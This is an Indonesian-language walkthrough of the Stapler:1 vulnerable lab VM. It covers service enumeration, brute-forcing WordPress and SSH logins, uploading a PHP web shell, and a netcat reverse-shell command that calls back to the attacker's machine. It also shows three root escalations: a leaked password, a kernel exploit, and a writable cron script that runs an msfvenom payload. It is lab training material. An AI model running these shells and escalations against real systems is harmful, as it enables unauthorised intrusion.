Stapler:1 Walk Through

16 September 2016 by Harry Adinanta . 0 Comment

Daftar Isi:

  1. Latar Belakang
  2. Mempersiapkan Virtual Machine
  3. Pengumpulan Informasi / Information Gathering
  4. Enumerasi Layanan / Service Enumeration
  5. Mengexploitasi / Exploit
  6. Meningkatkan Hak Akses / Privilege Escalation
  7. Selanjutnya

Latar Belakang

Stapler:1 adalah sebuah Virtual Machine (VM) dimana Sistem Operasi dan aplikasi yang berjalan diatasnya sengaja dibuat rentan / vulnerable sehingga dapat dieksploitasi. Tujuannya adalah agar kita dapat belajar mendeteksi, menganalisa dan kemudian mengeksploitasi kelemahan maupun kesalahan konfigurasi yang ada pada Aplikasi dan Sistem Operasi. Proses pembelajaran ini sangat berguna bagi kita yang berprofesi sebagai penguji keamanan Informasi / Security Penetration Tester dan juga yang bertugas mengamankan aset Informasi / Security defense professional.

VM ini disediakan secara gratis dan dapat diunduh langsung dari web vulnhub.com . Dalam artikel ini, saya mencoba membahas selangkah demi selangkah bagaimana kita mengidentifikasi, menganalisa dan kemudian mengeksploitasi kelemahan yang ada untuk mendapatkan hak akses ke VM tersebut sebagai “root”.

Semoga artikel ini bermanfaat dan dapat memberikan pelajaran bagi saya pribadi dan juga pembaca.

Mempersiapkan Virtual Machine (VM)

Tentu hal pertama yang perlu kita lakukan adalah mempersiapkan semua kebutuhan seperti:

  1. Download Stapler:1 VM di vulnhub.com
  2. Download KALI Linux VM di kali.org. Apabila menggunakan distribusi linux lainnya, pastikan tools seperti nmap, metasploit framework, dirbuster, nikto, burpsuite dan wpscan telah terinstall
  3. Download Vmware Workstation atau Virtualbox apabila anda menggunakan windows atau Vmware Fusion apabila menggunakan MAC.

Setelah itu, ikuti langkah berikut untuk memastikan Stapler:1 VM dan Kali Linux VM dapat berjalan di Vmware Player atau di Vmware Fussion. Pada kesempatan ini, saya menggunakan Vmware Fusion namun seharusnya tidak jauh berbeda apabila anda menggunakan Vmware player ataupun Virtualbox.

1.Unzip Stapler.zip2. 2.Import Stapler.ovf dari VmwareFusion

alt text

3.Apabila ada error bahwa OVF tidak sesuai dengan standar VM, klik retry untuk melanjutkan

alt text

4.Apabila tidak ada kendala, VM akan otomatis hidup dan pastikan Network adapter VM di set ke “Share with my Mac” agar VM Kali linux yang akan kita gunakan sebagai attack platform dapat mengakses Stapler VM dan juga Internet.

alt text

Pengumpulan Informasi / Information Gathering

Sebelum kita menganalisa dan kemudian mengeksploitasi kerentanan yang ada di VM Stapler:1, kita harus terlebih dahulu mengumpulkan Informasi sebanyak mungkin tentang Sistem Operasi (OS) serta aplikasi-aplikasi yang digunakan. Kita mulai aktifitas pengumpulan Informasi ini dengan terlebih dahulu mengidentifikasi alamat IP Stapler:1 menggunakan nmap. Alamat IP yang diberikan oleh Vmware Fusion ke Kali Linux VM saya adalah 172.16.65.141/24 sehingga dapat dipastikan bahwa stapler:1 juga akan mendapatkan IP di segment network yang sama karena network adapter kedua VM tersebut telah di set ke “Share with my Mac”. Untuk itu, kita akan melakukan scan terhadap segment network tersebut menggunakan perintah nmap berikut:

nmap -Pn 172.16.65.0/24

Dari hasil scan diatas, kita akhirnya dapat mengetahui alamat IP yang digunakan oleh Stapler:1 yaitu 172.16.65.162

alt text

Selain mengetahui alamat IP, kita juga dapat melihat TCP port yang terbuka di stapler:1. Namun demikian, proses scanning ini tidak komprehensive dan hanya melakukan probing terhadap TCP port yang umum dan sering digunakan. Agar tidak ada satu port pun yang terlewatkan, kita lakukan “all-port scanning” berikut ini:

nmap -Pn -p- 172.16.65.162

alt text

Selain itu, kita juga perlu memastikan apakah ada layanan yang berjalan di port UDP dengan melakukan UDP scan.

alt text

Setelah melakukan “all-port scanning” kita dapat melihat adanya TCP port tambahan yang terbuka yaitu TCP 12380 dan juga UDP port 53,68,69,137,138

Enumerasi Layanan / Service Enumeration

Langkah selanjutnya adalah melakukan enumerasi terhadap semua layanan yang tersedia di stapler. Hal ini perlu kita lakukan karena kerentanan pada suatu aplikasi atau layanan hanya akan dapat teridentifikasi apabila kita mengetahui secara mendalam tentang layanan tersebut. Berdasarkan hasil scan sebelumnya, kita bisa melihat adanya layanan FTP, SSH, DNS server, HTTP,SMB, game DOOM?, MySQL server dan TCP port 12380 yang belum diketahui jenis layanan yang diberikan.

Enumerasi FTP & TFTP

Di tahap pertama, kita mencoba memanfaatkan NSE script terkait FTP untuk mengetahui versi berikut dengan beberapa cek lainnya seperti anonymous access. Berikut hasil scan yang kita dapatkan

alt text

alt text

Hal yang menarik dari hasil diatas adalah diperbolehkannya login ke FTP server sebagai anonymous. Untuk itu, kita akan memanfaatkan hak akses ini untuk melihat Informasi lainnya yang mungkin bermanfaat.

alt text

Setelah masuk ke FTP server menggunakan anonymous, kita menjumpai satu file dengan nama “note”. Untuk itu, kita coba unduh file tersebut dan kemudian membaca isinya.

alt text

Dari Informasi diatas, kita dapat berasumsi bahwa terdapat username “elly” dan “john” di sistem namun hal tersebut perlu dibuktikan kebenarannya dengan melakukan brute force ke FTP server menggunakan wordlist yang tersedia sebagai password.

Berikut adalah hasil brute force ke FTP server menggunakan metasploit

alt text

alt text

Sangat disayangkan proses brute force terhenti sebelum semua kombinasi password dicoba. Hal ini terjadi karena FTP Server sepertinya menerapkan maximum failed login dimana koneksi akan terputus untuk sementara setelah terjadi beberapa kegagalan login. Dalam hal ini kita belum bisa menyimpulkan ada atau tidaknya username “elly” dan “john” di sistem.

Kita beralih ke enumerasi selanjutnya yaitu layanan TFTP di port UDP 69. Berdasarkan hasil scan Nmap sebelumnya, terdapat kemungkinan adanya layanan TFTP. Untuk itu, kita coba validasi dengan mengakses tftp tersebut.

alt text

Layanan TFTP berhasil diakses tanpa harus menggunakan username dan password yang sah. Dengan akses ini kita mencoba mengunduh file “/etc/passwd” namun tidak berhasil. Hal ini mungkin terjadi karena root directory TFTP tidak berada di root directory Sistem Operasi (OS). Namun demikian, kita berhasil mengupload file test.txt ke server TFTP. Fakta ini akan kita simpan untuk proses selanjutnya. Berikut isi file test.txt

alt text

Enumerasi FTP dan TFTP sepertinya sudah cukup dan kita akan melakukan enumerasi terhadap layanan berikutnya yaitu SSH

Enumerasi SSH

Secured Socket Shell (SSH) merupakan salah satu pintu masuk potensial ke target. Untuk itu, kita mencoba mengenumerasi layanan ini dengan harapan mendapati versi SSH yang rentan sehingga dapat dieksploitasi.

root@kali:~/TEST# nmap -p22 --script ssh*,banner 172.16.65.162

Starting Nmap 7.01 ( https://nmap.org ) at 2016-09-14 11:58 WIB
Nmap scan report for 172.16.65.162
Host is up (0.00056s latency).
PORT   STATE SERVICE
22/tcp open  ssh
|_banner: SSH-2.0-OpenSSH_7.2p2 Ubuntu-4
| ssh-hostkey: 
|   2048 81:21:ce:a1:1a:05:b1:69:4f:4d:ed:80:28:e8:99:05 (RSA)
|_  256 5b:a5:bb:67:91:1a:51:c2:d3:21:da:c0:ca:f0:db:9e (ECDSA)
| ssh2-enum-algos: 
|   kex_algorithms: (6)
|       curve25519-sha256@libssh.org
|       ecdh-sha2-nistp256
|       ecdh-sha2-nistp384
|       ecdh-sha2-nistp521
|       diffie-hellman-group-exchange-sha256
|       diffie-hellman-group14-sha1
|   server_host_key_algorithms: (5)
|       ssh-rsa
|       rsa-sha2-512
|       rsa-sha2-256
|       ecdsa-sha2-nistp256
|       ssh-ed25519
|   encryption_algorithms: (6)
|       chacha20-poly1305@openssh.com
|       aes128-ctr
|       aes192-ctr
|       aes256-ctr
|       aes128-gcm@openssh.com
|       aes256-gcm@openssh.com
|   mac_algorithms: (10)
|       umac-64-etm@openssh.com
|       umac-128-etm@openssh.com
|       hmac-sha2-256-etm@openssh.com
|       hmac-sha2-512-etm@openssh.com
|       hmac-sha1-etm@openssh.com
|       umac-64@openssh.com
|       umac-128@openssh.com
|       hmac-sha2-256
|       hmac-sha2-512
|       hmac-sha1
|   compression_algorithms: (2)
|       none
|_      zlib@openssh.com
MAC Address: 00:0C:29:D1:8D:51 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 14.18 seconds
root@kali:~/TEST#

Dari hasil diatas, kita bisa berasumsi bahwa stapler:1 menggunakan versi SSH-2.0-OpenSSH_7.2p2. Kita akan memanfaatkan Informasi ini untuk mengetahui apakah SSH versi tersebut memiliki kerentanan yang dapat diexploitasi. Namun, kita coba untuk mengenumerasi layanan lain untuk mencari kelemahan yang mungkin lebih mudah dieksploitasi. Apabila tidak ada, kita akan kembali ke layanan SSH ini.

Enumerasi DNS Server

Domain Name System (DNS) server menyimpan banyak Informasi tentang host yang berada dalam ruang lingkup domain yang menjadi otoritas server tersebut (Authoritative Server). Sekurangnya server ini menyimpan mapping antara nama host dan alamat IP terkait. Informasi ini dapat membantu kita menganalisa fungsi dari host berikut dengan layanan yang diberikan. Untuk itu, kita mencoba mengidentifikasi versi DNS server di stapler:1 dan semoga ada kelemahan pada versi yang digunakan.

alt text

saat ini kita belum bisa mengenumerasi Informasi lebih banyak dari DNS server ini karena kita belum mengetahui apakah server ini authoritative terhadap suatu domain dan apabila benar maka kita membutuhkan nama domain tersebut.

alt text

Dengan hasil ini, kita akan stop enumerasi DNS untuk sementara waktu sampai kita mengetahui nama domain yang menjadi authoritative dari server ini.

Enumerasi HTTP

Layanan berikutnya yang perlu dienumerasi adalah HTTP. Seperti pada umumnya, TCP PORT 80 biasanya digunakan oleh web server yang menjalankan aplikasi. Untuk itu, kita akan validasi versi web server yang digunakan dan juga path aplikasi yang mungkin berjalan di web server ini menggunakan nikto.

alt text

Dari hasil scan nikto diatas, kita masih belum bisa melihat jenis web server yang digunakan oleh stapler:1. Namun ada hal menarik yaitu adanya file test.txt di web server. Untuk melihat lebih jelas, kita coba buka file tersebut dengan browser

alt text

Melihat isi file test.txt, tanpa disangka bahwa file tersebut adalah file yang sebelumnya kita upload melalui TFTP. Hasil ini sangat menggembirakan karena kita bisa mengakses file yang kita upload ke stapler:1. Temuan ini kita simpan terlebih dahulu dan akan kita gunakan saat eksploitasi. Kita akan lanjut dengan proses enumerasi lainnya

Enumerasi SMB

Server Message Block (SMB) adalah protokol yang biasanya digunakan untuk file sharring. Banyaknya kerentanan terkait dengan SMB dan juga Informasi yang mungkin tersimpan dan diakses melalui protokol ini membuat enumerasi SMB menjadi salah satu hal yang harus dilakukan. Untuk itu kita akan menggunakan NSE script dan juga enum4linux untuk melakukan enumerasi. Berikut adalah hasil enumerasi yang telah kita lakukan

alt text

alt text

Berikut ini juga sebagian dari hasil yang kita bisa dapatkan dari enum4linux

alt text

Dari Informasi diatas, kita bisa mengetahui bahwa terdapat beberapa network file share yang memberikan hak akses read dan write ke anonymous. Untuk itu kita coba memanfaatkan untuk masuk ke semua share folder diatas. Berikut hasil dari penelusuran isi share folder.

alt text

Setelah file-file tersebut berhasil diunduh, kita coba membaca Informasi yang terkandung di dalamnya untuk mendapatkan Informasi yang lebih dalam. Berikut hasil penelusuran Informasi dari file-file tersebut

alt text

masih dari file yang berhasil diunduh dari stapler, kita bisa melihat adanya file backup wordpress versi 4.2.1

alt text

Untuk melihat apakah ada perbedaan antara backup wordpress dengan versi wordpress aslinya, kita coba download wordpress versi 4.2.1 dari site resmi wordpress di https://wordpress.org/wordpress-4.2.1.tar.gz

Setelah itu kita coba bandingkan apakah ada perbedaan antara dua source wordpress yang kita dapatkan. Hal ini perlu dilakukan untuk mengidentifikasi perubahan atau penambahan konfigurasi yang dilakukan oleh pemilik sistem stapler.

alt text

Dari hasil diatas ternyata tidak ada yang berbeda antara wordpress yang kita unduh dari stapler dan dari situs wordpress resmi. Artinya tidak ada konfigurasi yang mungkin bisa membantu kita untuk mendapatkan hak akses ke stapler.

Hal yang sama juga terjadi pada file vsftpd.conf yang kita download dari stapler:1 dimana tidak ada perbedaan yang bisa memberikan kita Informasi yang berguna.

Masih dari hasil enum4linux, kita juga bisa mengetahui bahwa account lockout threshold tidak diset yang artinya account tidak akan terkunci apabila beberapa kali mengirim password yang salah. Konfigurasi ini memudahkan kita untuk melakukan brute force terhadap user account yang ada pada stapler:1.

alt text

yang lebih menggembirakan lagi, enum4linux berhasil mengenumerasi username yang ada di Sistem Operasi (OS) stapler:1.

alt text

Dari hasil diatas, kita buat daftar user dalam text file dan kemudian kita brute force setiap user tersebut melalui SMB dengan harapan bisa mendapatkan password milik salah satu user.

Brute force akun user melalui SMB bisa menggunakan module metasploit SMB_LOGIN seperti dibawah ini

alt text

Hasil brute force ternyata tidak memuaskan dimana metasploit berhenti saat proses authentikasi terhadap user tersebut berhasil meskipun hanya sebagai “guest”. Guest login memang diperbolehkan oleh SMB stapler:1 namun tentunya dengan hak akses yang sangat terbatas dan tidak bisa berinteraksi langsung dengan shell milik sistem operasi.

alt text

Namun demikian, hasil ini tidak sepenuhnya mengecewakan. List username ini akan kita brute force melalui layanan lain seperti SSH atau FTP. Kita akan bahas ini dibagian eksploitasi

Enumerasi DOOM

Layanan berikutnya yang perlu kita enumerasi adalah layanan yang berjalan di TCP port 666. Menurut IANA, TCP port 666 ini biasanya digunakan oleh game bernama DOOM namun tentu hal ini perlu kita validasi. Untuk itu, kita coba berinteraksi dengan layanan ini menggunakan nmap.

alt text

Dari Informasi diatas, terdapat beberapa data dalam format HEX dan juga ascii karakter yang dapat dibaca atau printable ascii yaitu message2.jpg. Namun untuk saat ini, Informasi tersebut belum bisa kita manfaatkan. Apabila seluruh Informasi yang kita dapatkan telah kita analisa dan belum juga menemukan pintu masuk ke sistem stapler:1, maka kita akan kembali menganalisa layanan ini

Enumerasi MySQL server

Layanan berikutnya yang tersedia di stapler:1 adalah MySQL server. Kita akan mencoba mengenumerasi Informasi sebanyak mungkin dari layanan ini dengan harapan mendapatkan pintu masuk melalui kerentanan yang telah terpublikasi maupun melalui proses brute force. Berikut hasil enumerasi menggunakan nmap scripting

alt text

Informasi ini memberikan kita string salt yang digunakan oleh MySQL saat melakukan hashing terhadap password. Selain itu, kita mencoba melakukan brute force menggunakan user account yang umum namun belum berhasil.

alt text

Informasi diatas telah memberikan kesan bahwa MySQL menerima remote login yang artinya kita punya kesempatan untuk masuk ke MySQL dari kali linux kita apabila kita memiliki username dan password yang benar. Untuk itu, kita berhenti sementara waktu untuk menelusuri layanan MySQL lebih jauh dan mencari Informasi lainnya yang mungkin lebih membantu

Enumerasi TCP port 12380

Setelah melakukan scanning terhadap semua port, kita mendapati adanya layanan yang berjalan di port TCP 12380. Kita belum mengetahui jenis aplikasi yang berjalan di port ini namun kita coba nmap menggunakan pilihan -A agar nmap bisa memilih script yang relavan untuk dijalankan.

alt text

Menurut Informasi diatas, layanan yang berjalan di port 12380 adalah aplikasi Apache veri 2.4.18 yang merupakan web server. Kita coba buka aplikasi tersebut menggunakan browser

alt text

Melihat isi html source dari halaman ini, kita bisa mengetahui bahwa gambar yang ditampilkan sebagai backgroud didapatkan bukan dari path atau url tertentu namun disertakan dalam http response dalam bentuk base64 encoded.

alt text

Sampai saat ini kita belum menemukan Informasi berarti. Untuk itu, kita akan gunakan nikto untuk melakukan penelusuran lebih dalam.

alt text

Informasi diatas mengindikasikan bahwa aplikasi web di port tcp 12380 menggunakan SSL. Selain itu, nikto berhasil mendeteksi adanya url path yang menarik yaitu /phpmyadmin, /admin112233, /blogblog dan juga file robots.txt. Kita akan telusuri semua path ini. Kita mulai dengan mengakses path /phpmyadmin

alt text

Halaman ini sangat berguna apabila kita sudah bisa menemukan username dan password untuk login ke MySQL. Dengan demikian, kita akan simpan hasil ini apabila dibutuhkan saat Informasi lainya ditemukan dan dapat dimanfaatkan untuk mengeksploitasi halaman ini. Selanjutnya kita mencoba membaca file robots.txt

alt text

setelah itu kita coba membuka path /admin112233 dan mendapatkan hasil berikut

alt text

Setelah kita klik OK, aplikasi menginstruksikan kita untuk re-direct ke situs www.xss-payload.com. Karena adanya redirect, kita coba tangkap HTTP response menggunakan burp suite

alt text

Dari hasil ini, kita belum memperoleh Informasi yang menarik. Untuk itu kita lanjut mengenumerasi path selanjutnya yaitu /blogblog

alt text

Informasi di atas sangat menarik dan kita mencoba mengidentifikasi apakah path /wp-admin tersedia

alt text

Hasil penelusuran kita sangat menjanjikan dimana kita bisa masuk ke aplikasi wordpress apabila kita mengetahui username dan password yang sah. Berangkat dari Informasi ini, kita coba lanjutkan enumerasi wordpress menggunakan wp-scan.

alt text

alt text

Hasil wp-scan sangat menggembirakan dimana terdapat beberapa kerentanan yang mungkin dapat dieksploitasi. Tidak kalah pentingnya, kita berhasil mengenumerasi username yang terdaftar di wordpress stapler:1

Mengexploitasi / Exploit

1. Cara pertama masuk ke shell dengan hak akses yang terbatas / low privilege access

Dengan ditemukannya username yang terdaftar di wordpress stapler:1, kita bisa mencoba melakukan brute force dengan harapan mendapati akun yang menggunakan password lemah. Untuk keperluan ini, kita akan menggunakan wordlist yang sudah tersedia di kali linux yaitu di /usr/share/wordlist/metasploit/password.lst

alt text

alt text

Hasil brute force sangat menggembirakan dimana username “john” merupakan administrator wordpress stapler:1.

alt text

Karena john merupakan administrator wordpress, kita coba mengunggah shell sederhana ke server stapler:1 melalui fitur wordpress “add plugin”. Fitur ini menggunakan directory “wp-content/uploads” sebagai penyimpanan sementara saat instalasi plugin berlangsung. Saat wordpress meminta kredensial FTP server stapler untuk menyelesaikan instalasi, kita bisa lewatkan saja karena kita hanya ingin mengunggah file shell dan bukan menambah plugin. Isi file shell.php yang kita unggah ke stapler:1 adalah

alt text

alt text

Setelah itu wordpress akan meminta kredensial FTP dan seperti yang kita bahas sebelumnya, kita bisa lewatkan proses ini. Untuk memastikan bahwa file myshell.php berhasil diunggah, kita dapat cek di bagian media

alt text

alt text

Saatnya kita mengeksekusi myshell.php dengan memberikan perintah yang kita inginkan melalui parameter “cmd” sebagai berikut.

alt text

Tentu akan lebih sempurna apabila kita dapat berinteraksi dengan Sistem Operasi (OS) stapler:1 melalui command prompt. Untuk itu, kita akan upgrade metode ini dengan koneksi netcat dengan mengetik perintah berikut di paramater cmd

https://172.16.65.162:12380/blogblog/wp-content/uploads/myshell.php?cmd=mknod /tmp/backpipe p

alt text

kemudian aktifkan netcat di Kali linux untuk menerima koneksi netcat dari stapler:1

alt text

Apabila netcat telah siap, kirim perintah untuk menginstruksikan stapler:1 untuk menginisasi koneksi ke Kali linux kita

https://172.16.65.162:12380/blogblog/wp-content/uploads/myshell.php?cmd=/bin/sh 0</tmp/backpipe | nc 172.16.65.141 443 1>/tmp/backpipe

alt text

Setelah koneksi netcat berhasil tersambung ke Kali linux, ketik perintah berikut agar kita bisa menggunakan bash shell.

echo "import pty; pty.spawn('/bin/bash')" > /tmp/shell.py
python /tmp/shell.py

alt text

Akhirnya kita bisa masuk dan berinteraksi dengan Sistem Operasi (OS) stapler:1 sebagai akun “www-data” yang memiliki hak akses terbatas.

2. Cara kedua masuk ke shell dengan hak akses yang terbatas / low privilege access

Selain melalui wordpress, kita juga bisa mengunggah php shell kita melalui TFTP seperti yang telah kita temukan sebelumnya saat melakukan enumerasi TFP. Untuk itu, kita akan menggunakan php shell yang sama namun dengan nama file yang berbeda agar tidak membingungkan. Kita akan memberikan nama shell ini dengan myshell2.php dan kemudian mengunggah file tersebut melalui TFTP

alt text

Seperti yang kita ketahui sebelumnya, file yang kita upload melalui TFTP ini akan tersimpan di root folder web server stapler:1 yang berjalan di port TCP 80. Dengan demikian, kita akan menggunakan protokol http untuk mengakses file tersebut.

alt text

Apabila file myshell2.php berhasil dieksekusi, kita akan menggunakan metode netcat yang sama seperti sebelumnya.

alt text

alt text

alt text

3.Cara ketiga masuk ke shell dengan hak akses yang terbatas / low privilege access

Alternatif lainnya untuk mendapatkan akses shell ke stapler:1 adalah dengan metode SSH brute force. Seperti yang kita ketahui sebelumnya, kita berhasil mendapatkan daftar akun Sistem Operasi (OS) saat kita mengenumerasi SMB. Bermodalkan Informasi ini, kita coba brute force akun tersebut dengan password yang sederhana yaitu nama akun sebagai password. Kita akan menggunakan metasploit module SSH brute force dengan pengaturan berikut

alt text

Dan tanpa disangka, ternyata akun “SHayslett” menggunakan nama akun sebagai password.

alt text

Karena metasploit secara otomatis membuka session SSH apabila brute force berhasil, maka kita bisa langsung menggunakan session tersebut untuk berinteraksi dengan stapler:1

alt text

Meningkatkan Hak Akses / Privilege Escalation

Perjalanan kita untuk mengambil-alih stapler:1 secara penuh belum selesai karena kita baru mendapatkan hak akses yang terbatas. Dalam kesempatan ini kita mencoba meningkatkan hak akses sebagai root dengan cara mencari kerentanan atau kesalahan konfigurasi yang dapat dieksploitasi. Menurut penelusuran saya, terdapat tiga metode untuk mencapai tujuan ini yaitu:

1. Cara pertama meningkatkan hak akses

Hal pertama yang kita lakukan setelah mendapatkan hak akses terbatas sebagai akun “SHayslett” adalah melakukan enumerasi di direktori home akun tersebut. Setelah itu memeriksa apakah direktori home milik akun lain juga dapat dibaca dengan mengetik perintah berikut

find /home/ -readable -type f 2>/dev/null

alt text

Dari hasil diatas, terlihat bahwa hampir seluruh direktori home akun lain dapat dibaca walaupun terdapat beberapa file yang diproteksi. Dari penelusuran tersebut, terdapat Informasi yang menarik dalam direktori home milik “peter” yaitu adanya nama file ” .sudo_as_admin_successful”

alt text

Setelah dibuka, ternyata file tersebut kosong. Namun Informasi ini mengindikasikan bahwa akun peter termasuk salah satu akun sudoer. Apabila kita bisa menemukan password milik peter maka kemungkinan besar kita bisa sudo ke akun root. Untuk itu, kita mencoba cari Informasi lainnya yang mungkin bisa menggiring kita ke tempat yang menyimpan password peter.

Penelusuran kemudian kita lanjutkan dengan melihat semua proses yang jalan dengan mengetik “ps -aux”.

alt text

alt text

Ada hal yang menarik dari Informasi diatas yaitu adanya proses yang dijalankan oleh akun “JKanode”. Untuk itu kita coba cek apa saja yang tersimpan dalam direktori home “Jkanode”.

alt text

Membaca file “.bash_history”, kita bisa melihat dengan jelas bahwa JKanode pernah menjalankan program sshpass menggunakan akun dan password peter. Dengan Informasi ini, kita coba substitute user (su) ke akun peter dan kemudian melakukan sudo su – untuk memvalidasi apakah akun peter termasuk salah satu sudoer.

alt text

Setelah masuk sebagai akun peter, kita kemudian lakukan sudo su – untuk meningkatkan hak akses. Apabila peter merupakan salah satu sudoer maka peningkatan hak akses ke root akan berhasil.

alt text

BOOM!!! ternyata benar akun peter merupakan salah satu sudoer sehingga kita bisa meningkatkan hak akses ke root melalui akun ini. Berikut ini adalah isi flag dalam direktori root

alt text

2. Cara kedua meningkatkan hak akses

Setelah mendapatkan hak akses terbatas sebagai akun “SHayslett”, kita coba mengenumerasi versi Sistem Operasi (OS) yang digunakan oleh stapler:1.

alt text

Mengetahui bahwa Sistem Operasi yang digunakan stapler:1 adalah ubuntu 16.04, kita coba mencari apakah ada kelemahan pada Sistem Operasi ini yang dapat memberikan peningkatan hak akses kepada akun biasa. Setelah menelusuri google, kita menjumpai eksploit di https://www.exploit-db.com/exploits/39772/ dimana terdapat kelemahan di linux kernel versi 4.4.x. Kelemahan ini dapat dieksploitasi sehingga dapat memberikan hak akses root ke akun biasa.

alt text

Kita coba memanfaatkan kelemahan ini dengan terlebih dahulu mengunduh eksploitnya di Kali linux kita dan kemudian mengkopi nya ke stapler:1 melalui scp.

alt text

Setelah itu kita ekstrak file exploit.tar dan kemudian mengeksekusi file compile.sh dan kemudian setelah itu mengeksekusi program doubleput untuk meningkatkan hak akses ke root

alt text

BOOM!! kita akhirnya mendapatkan hak akses sebagai root

3.Cara ketiga meningkatkan hak akses

Dimulai dari hak akses terbatas sebagai akun “SHayslett”, kita akan mencoba melakukan enumerasi lebih rinci terhadap Sistem Operasi, aplikasi dan konfigurasi terkait menggunakan script LinuxPrivChecker.py. Script ini akan menjalankan puluhan perintah yang dapat memberikan Informasi kepada kita dalam menganalisa potensi kerentanan yang dapat dimanfaatkan untuk meningkatkan hak akses. Script ini dapat diunduh di http://www.securitysift.com/download/linuxprivchecker.py

Untuk itu, kita harus terlebih dahulu mengunggah / upload script LinuxPrivChecker.py dari Kali linux ke stapler:1 melalui SCP dan menggunakan akun “SHayslett”.

alt text

Setelah itu, kita masuk ke stapler:1 melalui SSH dan menggunakan akun “SHayslett” agar kita dapat menjalankan script LinuxPrivChecker.

alt text

Dari sekian banyak Informasi yang kita peroleh melalui script LinuxPrivChecker, ada hal menarik yang tersimpan dalam direktori /etc/cron.d. Seperti yang telah kita ketahui, direktori ini menyimpan scripts yang dieksekusi dalam konteks akun “root” pada jadwal yang ditentukan atau scheduled tasks. Artinya, scripts yang ada dalam direktori ini akan dieksekusi atas nama akun “root”. Scripts ini biasanya dalam format atau dibuat dengan program crontab. Berikut isi direktori /etc/cron.d

alt text

Kalau kita lihat isi file crontab logrotate, kita menemukan Informasi berikut

alt text

Dari Informasi ini kita bisa mengetahui bahwa script logrotate akan mengeksekusi script bernama cron-logrotate.sh setiap 5 menit sekali. Hal ini terlihat dengan adanya simbol “*/5” diawal baris script. Sementara script cron-logrotate.sh sendiri berisi satu baris Informasi yang tidak akan dieksekusi atau commented out.

Setelah itu, kita kemudian melihat Informasi penting lainnya dari hasil LinuxPrivChecker.py dan menemukan bahwa script “cron-logrotate.sh” dapat diedit oleh siapapun termasuk oleh akun “SHayslett” yang kita gunakan saat ini.

alt text

Karena script ini akan dieksekusi atas nama akun “root” seperti penjelasan sebelumnya, kita akan memanfaatkannya untuk menjalankan program yang bisa membuat akun baru setingkat root. Program ini bisa kita buat dengan bantuan msfvenom yang telah tersedia di kali linux kita. Akun yang akan kita tambahkan bernama “skywalker” dengan password “password”

alt text

Setelah program berhasil dibuat, kita unggah program tersebut ke stapler:1 menggunakan SCP

alt text

Untuk memastikan program “tambah-akun” dapat dieksekusi oleh cron scheduler di stapler:1 , kita harus memberikan hak akses “executable” untuk semua user di program tersebut

alt text

Selanjutnya kita edit script “cron-logrotate” agar mengeksekusi program “tambah-akun” yang kemudian membuat akun baru setingkat root.

alt text

Dalam rentang waktu sekitar 5 menit, maka akun baru bernama “skywalker” akan tersedia di stapler:1

alt text

Setelah itu, untuk meningkatkan hak akses ke root, kita melakukan subtitute user atau su ke akun skywalker dan menggunakan password “password”.

BOOM!!! kita berhasil mendapatkan hak akses sebagai root.

Selanjutnya

Selamat mencoba dan apabila memungkinkan cari kerentanan lainnya untuk masuk ke Sistem Operasi (OS) stapler:1 dengan hak akses terbatas. Mungkin terdapat beberapa kerentanan lainnya yang bisa dimanfaatkan untuk meningkatkan hak akses ke root.